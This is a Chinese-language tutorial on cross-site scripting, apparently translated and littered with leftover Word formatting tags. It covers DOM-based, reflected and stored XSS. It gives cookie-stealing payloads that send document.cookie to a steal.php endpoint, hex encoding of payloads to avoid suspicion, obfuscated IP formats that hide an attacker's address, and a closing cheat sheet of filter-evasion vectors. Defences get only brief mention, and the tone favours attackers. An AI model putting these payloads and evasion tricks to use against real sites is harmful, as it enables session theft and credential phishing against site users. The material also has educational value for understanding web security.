跨站脚本中的利用乐趣

韩小末

今天我们谈一谈跨站点脚本（Cross-Site Scripting）(也称为XSS，不同之处在于CSS(Cascading Style
Sheet)上。)这也是一个安全性漏洞，它影响与WEB程序中与不安全的编写代码和不安全的使用输出变量有关。
这种漏洞允许攻击者将代码注射到WEB程序中以影响对用户表单的存取通常利用在网络钓鱼中（这是一种很显然的目的J ）。
事实上在有弱点的站点上是可能允许执行HTML和JavaScript
代码的在一个不安全代码上，那么怎样组合才是真正危险的。这可能是偷取Cookie或重定向一个WEB页面到一个仿冒的站点上，并制做一个登录的表单来达到偷取用户的帐号和密码。
这通常是一个WEB站点管理员所低估的问题，因为实际上XSS不能在他它自己的以活动的WEB站点上达到妥协，但这只得利用在一个天真的用户上。
WEB管理需要花费时间来发现这种类型的漏洞:与此同时我们可以平静的disfrute他们;J
二.XSS类型
这称为XSS有点让人难以理解，因为它包含各种不同的攻击立场，互不相同的攻击原理。
其实有三种类型的跨站，常见命名为:<!--[if !supportLists]-->n       <!--[endif]-->DOM-Based XSS
<!--[if !supportLists]-->n       <!--[endif]-->Non-Persistent XSS
<!--[if !supportLists]-->n       <!--[endif]-->Persistent XSS
Let’s Go 让我们一个一个的分析它们吧!
<!--[if !supportLists]-->a)      <!--[endif]-->Dom-Based
XSS这种基于DOM的跨站点脚本允许一个攻击者不用工作在受害者的WEBPAGE里，但是要在受害者的机器上:在各种不同的操作系统上通常都包含”Since
born”创建的一些页面针对不同的目标，但是只有人类会犯这样的错误，这种HTML页面往往会被攻击者所利用，因为有代码漏洞的存在。对基于用户本地机器的DOM的XSS漏洞利用的问题，可以是用这样的方法：<!--[if
!supportLists]-->                                                            i.  
            <!--[endif]-->攻击者创建一个良好的且有恶意目的的WEB站点。
<!--[if !supportLists]-->                                                        
  ii.              <!--[endif]-->让一个天真的用户打开这个站点。
<!--[if !supportLists]-->                                                        
iii.              <!--[endif]-->用户在他的机器上访问了这个脆弱的页面。
<!--[if !supportLists]-->                                                        
iv.              <!--[endif]-->这个攻击者的站点发送了一个命令在这个脆弱的页面上。
<!--[if !supportLists]-->                                                        
  v.              <!--[endif]-->而在本地这个脆弱的页面上会通过用户的特权执行这个命令
<!--[if !supportLists]-->                                                        
vi.              <!--[endif]-->攻击者将容易的获得该受害者电脑的控制权。
正如你想象的那样如此简单的操作，这只是站在一个全新的脆弱点上，从远时间上看，这种脆弱
没有缺乏过 J
这种类型的攻击是真正危险的因为他严格操作在受害者系统上，只要用户不查看它的安全问题和以后不更新，这种基于DOM的XSS将不会失消。解决方案：   
对于预防这种类型的攻击，这是必须要注意做的两个事情：
<!--[if !supportLists]-->a)           <!--[endif]-->不要访问不信任的站点.
<!--[if !supportLists]-->b)           <!--[endif]-->及时更新你系统的升级。    b)
Non-Persistent XSS    这种Non-Persistent XSS 实际上是在网络上发现最多的脆弱性。    一般把它命名为”
Non-Persistent”
因为它工作在一个受害者的站点最近一个HTTP响应上：显示出来时所得到的数据假若是来自攻击者客户端将自己动生成结果页给给攻击者自己。   
攻击者经常能够提供一些恶意的代码和尝试在服务器上去执行它，从表单里得到一些结果。   
这种脆弱性最常见的应用在有搜索引擎的WEB站点上，攻击者在搜索引擎的框里写入一些任意的HTML代码，如果这个站点存在这种脆弱性，那么所搜索的结果将是返回执行HTML代码后的结果。如果这个情况发生，那么有99%
的搜索引擎将可以执行任意的JavaScript代码。
例子中是一个WEB站点的正常搜索样式：
HTTP://WWW.EXAMPLE.COM/SERARCH.PHP?TEXT=CODETOSERCH
尝试包含一些HTML标记在TEXT变量中：
http://www.example.com/search.php?text=<img
src="http://attacker.com/image.jpg">如果这是一个脆弱的WEB站点那么在搜索结果的页面中将显示这个攻击者站点上的图片。尝试在里面写一些Javascript的代码：
http:///www.example.com/search.php?text=<script>alert(document.cookie)</script>
    也许这个WEB站点将反回一个包含站点本身最近Cookie。
   
正如你所看到的这种脆弱的站点将执行任何的JavaScript代码，你欲望它去执行：有时你可能会发现站点使用过滤了一些””和’’，对于我们来说这并不是一个大问题
LOL :D
    攻击者使用这种漏洞在受害者的站点上偷取一些用户的信息，例子：一个EMAIL或一个URL：
http://www.victim.com/search.php?text=MALICIOUSCODE
为了不让人不怀疑这个例子我们可以使用编程技术对这个代码进行编码。可以使用HEX编码。
HTTP://WWW.VICTIM.COM/SEARCH.PHP?TEXT=%23%33%43%33%33%33
对如下这个例子进行编码后:<script>alert("XSS")</script>编码后：%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53%53%22%29%3B%3C%2F%73%63%72%69%70%74%3E让我们分析这个攻击例子：<!--[if
!supportLists]-->a)      <!--[endif]-->这个攻击者实现了在有脆弱性的WEB站点上进行XSS
<!--[if !supportLists]-->b)      
<!--[endif]-->攻击者在他自己的WEB站点创建一个即实的页面用来计划偷取明智的信息比如是Cookie或制做一个伪登陆框在受害者站点上。
<!--[if !supportLists]-->c)      <!--[endif]-->攻击者提供给用户的是一个经过改造的URL里面包含一个恶意的代码像:
<SCRIPT LANGUAGE="javascript"> window.open ('http://www.baidu.com')</SCRIPT>     
    如果对这段代码进行HEX后将很难辨认。
<!--[if !supportLists]-->d)      <!--[endif]-->用户访问这个页面将暗地里转向攻击者所制造的fakelogin
<!--[if !supportLists]-->e)      <!--[endif]-->如果他会在这里登录
<!--[if !supportLists]-->f)        
<!--[endif]-->这个fakelogin将会偷取受害者的用户名和密码解决方案：这是一个简单的解决方案对从站点输出代码进行检查和制作避免HTML标记或只接受阿尔法数值字符例子像这样：Python:CGI.escape($code)
PHP:eregi(“[^a-zA-Z0-9_]”,$code)
$code = htmlentities($code)
还有很多其他的。< == &lt       c) PersistentPersistent XSS 漏洞与第二种(Non-Persistent
XSS)相似，因为两者工作在受害者站点尝试到黑客用户的信息。
在这WEB站点的脆弱性上有什么不同，攻击者利用Persistent XSS
不需要提供经过构造的URL给用户，因为WEB站点会允许用户插入固定的数据到系统：这种例子的情形通常是在“留言板”非常多。
通常如果是用户使用这种类型的工具在发送离线消息，这看起来不是什么危险的，但是如果攻击者发现这个系统的脆弱点能插入一些恶意的代码在他的信息里,如果游客看到便会执行这个代码。
假若，当这工具(以这个留言板为例)不对所插入在信息中的内容做任何的检查就运行：在结果页面所看到的正是我们插入代码后所执行的结果。
攻击者能够非常容易的插入许多的想要得到结果的代码，例子:<img
src="javascript:document.location('http://localhost/steal.php?cookie='.encodeURI(document.cookie));">这允许攻击者窃取受害者的Cookie信息。<script>
var a=encodeURI(document.cookie);     
window.open('http://localhost/steal.php?cookie='+a);
</script>              这只是一个例子，可能还会有大量的注射在这个脆弱的站点可以做。
       Persistent XSS 由于是固定的功能，这显然比其它的更危险，因为一个攻击者在插入代码后可以容易的影响到大量的用户。
解决方案：
       可以参考,Non-Persistent XSS的解决方案。
三.附录
       为了攻击尽量避免怀疑，它会把攻击者的IP地址变量很模糊，利用以下三种方式编程地址：
       a) 双字地址
       b) hex地址
       c) octal 地址
例子,将IP地址127.0.0.1编码后:-Dword：2130706433
-Hex：    0x7f.0x00.0x00.0x01
-Octal： 0177.0000.0000.0001
尝试下面这个例子：
http://0x7f.0x00.0x00.0x01/
他将打开本机的webserver站。
这项技术是攻击者经常使用的XSS,为了避免被攻击者的圈套所捕捉到，不要访问一个包含不明确的域名。
下面是一些XSS行为<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="&#x6A;avascript&#x3A;a&#x6C;ert('P&#x4C;AYHACK.NET')">
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url( javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>